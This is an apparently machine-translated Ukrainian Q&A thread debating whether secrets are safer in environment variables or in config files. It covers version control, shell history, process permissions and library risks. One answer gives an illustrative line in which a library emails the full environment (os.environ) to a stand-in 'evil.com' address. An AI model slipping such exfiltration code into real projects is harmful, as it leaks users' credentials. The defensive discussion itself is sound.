Чи безпечно зберігати паролі як змінні середовища (а не як звичайний текст) у конфігураційних файлах?


109

Я працюю над декількома програмами в рейках, django (і трохи php), і одна з речей, яку я почав робити в деяких з них, - це зберігання бази даних та інших паролів як змінних середовища, а не простого тексту в певних файлах конфігурації ( або в settings.py для додатків django).

Обговорюючи це з одним із моїх колег, він припустив, що це погана практика - що, можливо, це не настільки безпечно, як може здатися спочатку.

Отже, я хотів би знати - це безпечна практика? Чи безпечніше зберігати паролі як звичайний текст у цих файлах (переконуючись, звичайно, не залишати ці файли у публічних репортажах чи що-небудь інше)?

Відповіді:


45

На більш теоретичному рівні я схильний думати про рівні безпеки наступними способами (з метою збільшення сили):

  • Відсутня безпека. Простий текст. Кожен, хто знає, де шукати, може отримати доступ до даних.
  • Захищеність за допомогою Obfuscation. Ви зберігаєте дані (простий текст) десь складно, як змінна середовище, або у файлі, який повинен виглядати як файл конфігурації. Зрештою зловмисник зрозуміє, що відбувається, або наткнеться на нього.
  • Безпека, що забезпечується шифруванням, тривіальним для розриву, (подумайте, кесарів шифр!).
  • Безпека, що забезпечується шифруванням, може бути порушена певними зусиллями.
  • Безпека, що забезпечується шифруванням, недоцільно зламати заданий апарат.
  • Найбезпечнішою є та система, якою ніхто не може користуватися! :)

Змінні середовища є більш безпечними, ніж файли прямого тексту, оскільки вони є мінливими / одноразовими, не зберігаються; тобто якщо ви встановите лише змінну локального середовища, наприклад "встановити pwd = що завгодно", а потім запустіть скрипт із тим, що закінчується вашою командною оболонкою в кінці сценарію, змінної вже не існує. Ваша справа належить до перших двох, які, я б сказав, є досить небезпечними. Якщо ви збираєтесь це робити, я б не рекомендував розгортатися за межами вашої безпосередньо внутрішньої / домашньої мережі, а потім лише для тестування.


1
Це залежить від операційної системи - У кращому випадку змінні середовища є настільки ж вразливими, як файли простого тексту, але, ймовірно, є гіршими. За допомогою файлів прямого тексту ви можете встановити дозволи на читання файлів / каталогів для їх захисту. IIRC для змінних середовища, вони живуть у просторі пам'яті для оболонки, тому заповзятливий зломщик може сканувати цей простір, шукаючи їх.
Джон Картер

1
зачекайте хвилину: якщо ви зберігаєте облікові дані всередині змінної середовища, їм потрібно спочатку дістатися. Або вручну, або за сценарієм. Для автоматизації запуску вашого програмного забезпечення я рекомендую сценарій. Але вгадайте що, тоді вам потрібно зберігати їх у конфігураційному файлі (для env змінних). Якщо ви не надаєте значення для змінних env вручну, я не бачу різниці в безпеці для конфігурації файлів.
математика

59

Як було сказано раніше, обидва способи не забезпечують жодного рівня додаткової "безпеки", коли ваша система порушена. Я вважаю, що однією з найсильніших причин надати перевагу змінним середовищу є контроль версій : я бачив, як занадто багато конфігурацій баз даних і т.д. зберігаються в службі керування версіями, як GIT, щоб побачити (і ось так!) і я також ...).

Не зберігання ваших паролів у файлах унеможливлює їх збереження в системі контролю версій.


6
Досить розумною альтернативою не збереженню таємних налаштувань конфігурації в контролі версій є зберігання їх у сховищі управління версіями або проектом, окремо від сховища для коду.
Кенні Евітт

1
@KennyEvitt, який все ще залишає незахищені паролі прямого тексту у спільному розташуванні, який може знайти кожен, хто має доступ до сховища, і не може відстежити, хто до нього звертався.
FistOfFury

2
@FistOfFury Звичайно, кожен, хто має доступ до сховища ... може отримати доступ до сховища. Суть зберігання секретів у окремому сховищі полягає саме в тому, щоб можна було контролювати доступ до цих секретів інакше, ніж сам код. Але сховища можуть бути захищені, наприклад, ви можете зберігати зашифровані секрети у "спільному місці". Ви навіть можете відслідковувати інформацію про доступ до сховища у спільному місці. Але, звичайно, дозволити будь-якому користувачеві отримати доступ до інформації означає, що він може скопіювати цю інформацію і таким чином отримати доступ до неї будь-коли в майбутньому без обмежень і відстеження.
Кенні Евітт

2
Прекрасна причина використовувати рішення для керування конфігурацією, яке дозволяє зберігати зашифровані секрети, замінюючи їх у шаблонах конфігурацій під час візуалізації. Шеф-кухар зашифрував мішки з даними, у Ansible є сховища тощо
Brian Cline

1
Це називається привілейованим управлінням доступом, де секрети зберігаються в централізованому PAM Vault із комплексним контролем доступу. Gartner перераховує деякі такі продукти .
Аміт Найду

44

Щоразу, коли вам потрібно зберегти пароль, це небезпечно. Період. Немає можливості надійно зберігати незашифрований пароль. Тепер, яка змінна середовища та конфігураційні файли є більш "захищеною", можливо, є дискусійною. ІМХО, якщо ваша система порушена, це не дуже важливо, де вона зберігається, старанний хакер може її відстежити.


12
Щодо змінних оточуючих середовищ, я очікую тут Unix ... Змінні середовища є менш безпечними, ніж файли. Будь-хто може перевірити середовище запущеного процесу, але файли можуть мати принаймні ACL.
Ватін

11
Зважаючи на те, що розробник повинен зберігати ці паролі, це не дуже корисна відповідь. Де ви підказуєте, що він їх зберігає?
Пітер Ніксей

2
@Vatine Місця, що відкривають змінні середовища, також мають дозволи. Спробуйте, cat /proc/1/environнаприклад.
Кріс Даун

4
@Vatine Дійсно? Я не бачу жодного середовища для процесів, які не належать мені ps axe. strace -e open ps axeпоказує, що ми отримуємо цю інформацію /proc/[pid]/environ, яка має дозвіл на примусове використання (звідси і купа open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Кріс Даун

4
Ага. Подивіться на це, нарешті виправлена ​​проблема (раніше вона psбула налаштована і радісно показала б вам навколишнє середовище майже усього).
Ватін

28

Вибачте, мені не вистачало респондентів, щоб прокоментувати, але я також хотів додати, що якщо ви не будете обережні, ваша оболонка може захопити цей пароль і в історії історії команд. Отже, виконувати щось на кшталт $ pwd=mypassword my_progвручну не так ефемерно, як ви могли сподіватися.


21
якщо ви будете префіксувати всю команду "env var +" з пробілом, вона не зберігається в історії
shadi

дякую @shadi. Щодня дізнайтеся щось нове! Цікаво, чи це специфічна оболонка / її легко відключити чи це щось, що можна очікувати досить послідовно?
brianclements

4
Ще один спосіб - це використання, read -s MY_PASS_VARякий захистить як від пошуку черепашних історій, так і від плеча.
MatrixManAtYrService

4
@brianclements Я хотів би додати, що префіксація команди з пробілом працює лише в тому випадку, якщо для поточної оболонки HISTCONTROLвстановлено значення, ignorespaceабо ignorebothтехнічно його можна включати / вимикати.
Мойсей

14

Я думаю, коли це можливо, ви повинні зберігати свої дані в gitignored файл, а не як змінні середовища.

Однією з речей, які слід враховувати при зберіганні облікових даних у змінних ENV (оточення) проти файлу, є те, що змінні ENV дуже легко можуть бути перевірені будь-якою бібліотекою чи залежністю, яку ви використовуєте.

Це можна зробити злісно чи ні. Наприклад, автор бібліотеки може надсилати електронну пошту сліди стека плюс ENV змінні для налагодження (не найкраща практика, але це можливо зробити).

Якщо ваші облікові дані є у файлі, зазирнути до них набагато складніше.

Зокрема, подумайте про npm в вузлі. Для npm, щоб переглянути ваші облікові дані, якщо вони є в ENV, - справа проста process.ENV. Якщо з іншого боку вони є у файлі, це набагато більше роботи.

Незалежно від того, чи ваш файл облікових даних контролюється версією чи ні, це окреме питання. Якщо версія, що управляє вашим файлом облікових даних, не підводить її до меншої кількості людей. Немає необхідності, щоб усі чорти знали виробничі дані. Оскільки це відповідає принципу найменшої пільги, я б запропонував git ігнорувати ваш файл облікових даних.


6
+1 для "автор бібліотеки може надсилати електронні траси стеків плюс ENV змінні для себе для налагодження". Ніколи не замислювався над цим сценарієм.
netishix

6

Це залежить від вашої моделі загрози.

Ви намагаєтесь не допустити, щоб ваші користувачі розповсюджували паролі по всій їх файловій системі, де вони, ймовірно, будуть забуті та неправильно оброблені? Якщо так, то так, тому що змінні середовища менш стійкі, ніж файли.

Ви намагаєтеся захиститись від чогось шкідливого, що безпосередньо націлено на вашу програму? Якщо так, то ні, тому що змінні середовища не мають того самого рівня контролю доступу, що і файли.

Особисто я вважаю, що недбалі користувачі частіше, ніж мотивовані супротивники, тому я б підходив до змінного підходу до середовища.


0

AFAICT, є дві причини, по яких люди рекомендують зберігати секрети у змінних оточення:

  1. Занадто просто ненароком скопіювати секретні плоскі файли до репо. (А якщо це публічне репо, тост.)
  2. Це запобігає захаращенню паролів, тобто наявність одного ключа в багатьох різних файлах каталогів проектів є самим ризиком для безпеки, оскільки розробники з часом втратять інформацію про те, де знаходяться секрети.

Ці два питання можна вирішити кращими способами. Перший повинен вирішуватися гачком фіксації, який перевіряє, чи не схожі паролі (наприклад, gitleaks ). Я хотів би, щоб Лінус вбудував такий інструмент у вихідний код бібліотеки git, але, на жаль, цього не сталося. (Потрібно говорити, що до секретних файлів завжди слід додавати .gitignore, але вам потрібен гачок, якщо хтось забуде це зробити.)

Останнє можна вирішити, маючи глобальний файл секретних даних компанії, який ідеально зберігається на спільному диску лише для читання. Отже, в Python ви могли б мати щось подібне from company_secrets import *.

Що ще важливіше, як зазначають інші, занадто легко зламати секрети, що зберігаються в змінних оточення. Наприклад, у Python автор бібліотеки міг би вставити, send_email(address="evil.person@evil.com", text=json.dumps(os.environ))а потім тост, якщо виконувати цей код. Злом набагато складніше, якщо у вашій системі називається файл ~/secret_company_stuff/.my_very_secret_company_stuff.

Тільки для користувачів Django:
Django (в режимі DEBUG) показує значення необробленої змінної середовища в браузері, якщо є виняток (в режимі DEBUG). Це здається дуже небезпечним, якщо, наприклад, розробник випадково запуститься DEBUG=Trueу виробництво. На відміну від цього , Django РОБИТЬ заплутати настройки пароля змінних шляхом пошуку рядків API, TOKEN, KEY, SECRET, PASSабо SIGNATUREв фреймворка settings.pyімен змінних файлу.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.